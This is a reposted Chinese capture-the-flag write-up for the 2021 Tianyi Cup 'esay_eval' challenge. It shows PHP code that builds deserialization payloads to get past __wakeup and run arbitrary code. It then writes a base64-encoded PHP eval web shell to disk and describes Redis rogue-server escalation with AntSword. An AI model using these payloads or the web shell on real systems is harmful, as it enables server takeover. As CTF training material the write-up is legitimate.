当前位置: 首页 > news >正文

[天翼杯 2021]esay_eval复现

利用脚本

https://github.com/Dliv3/redis-rogue-server

antsword插件

https://github.com/Medicean/AS_Redis?tab=readme-ov-file#%E5%B7%B2%E7%9F%A5%E9%97%AE%E9%A2%98

 <?php
class A{public $code = "";function __call($method,$args){eval($this->code);}function __wakeup(){$this->code = "";}
}class B{function __destruct(){echo $this->a->a();}
}
if(isset($_REQUEST['poc'])){preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);if (isset($ret[1])) {foreach ($ret[1] as $i) {if(intval($i)!==1){exit("you want to bypass wakeup ? no !");}}unserialize($_REQUEST['poc']);    }}else{highlight_file(__FILE__);
}

<?php
class a{public function __construct() {$this->code= "phpinfo();";}public $code = "";}
class b{public function __construct() {$this->a = new A();}public function __destruct(){echo $this->a->a();//方法未定义,call函数被调用}
}
$a=new b();
echo serialize($a);
//O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}
//O:1:"b":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:10:"phpinfo();";}}
//修改类的成员变量数大于类的实际成员变量绕过wakeup函数

查看禁用函数disable_functions

fopen和fputs没有被禁用,写🐎

<?php
$payload=base64_encode('<?php @eval($_POST["123"]);');
class a{public function __construct() {global $payload;$this->code= "fputs(fopen('1.php','w+'),"."base64_decode(\"".$payload."\"));";}public $code = "";}
class b{public function __construct() {$this->a = new A();}public function __destruct(){echo $this->a->a();}
}
$a=new b();
echo serialize($a);
//O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:81:"fputs(fopen('1.php','w+'),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWyIxMjMiXSk7"));";}}
//O:1:"b":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:81:"fputs(fopen('1.php','w+'),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWyIxMjMiXSk7"));";}}

antsword连一下

vim -r config.php.swp 查看swp文件

 

 redis默认端口6379

在html目录下新建456目录,然后把.so文件传上去

 antsword加载插件->数据管理->redis管理,输入密码连接上去,执行一波指令


http://www.mrgr.cn/news/888.html

相关文章:

  • spring aop事务理解
  • 解决Vue2移动端(H5)项目,手机打开项目侧滑或者按物理返回键,始终是走this.$router.go(-1)
  • 回归分析系列9—高维数据中的回归
  • 深入理解Spring Boot中的AOP应用:从基础组件到高级功能的实现
  • 跨境电商测评网络:美国住宅IP的获取与使用
  • redis安装,redis的数据类型和使用场景,Redis事务,Redis持久化,Redis淘汰策略
  • Kylin的工作原理及使用分享操作指南
  • 【JavaScript】关于隐式类型的思考
  • tekton通过ceph挂载node_modules的时候报错failed to execute command: copying dir: symlink
  • Mysql双主双从
  • uniapp条件编译
  • XSS反射型和DOM型+DOM破坏
  • Leetcode JAVA刷刷站(31)下一个排列
  • 文件长度超出芯片容量, 超出部份将被忽略!ch341a编程器报错解决方法
  • 应急响应-DDOS-常规处置方法
  • 如何把Phalcon 集成到PhpStorm里面
  • EmguCV学习笔记 VB.Net 第1章 EmguCV
  • C语言日常练习 Day17
  • 【iOS】Block底层分析
  • 牛客网习题——通过C++实现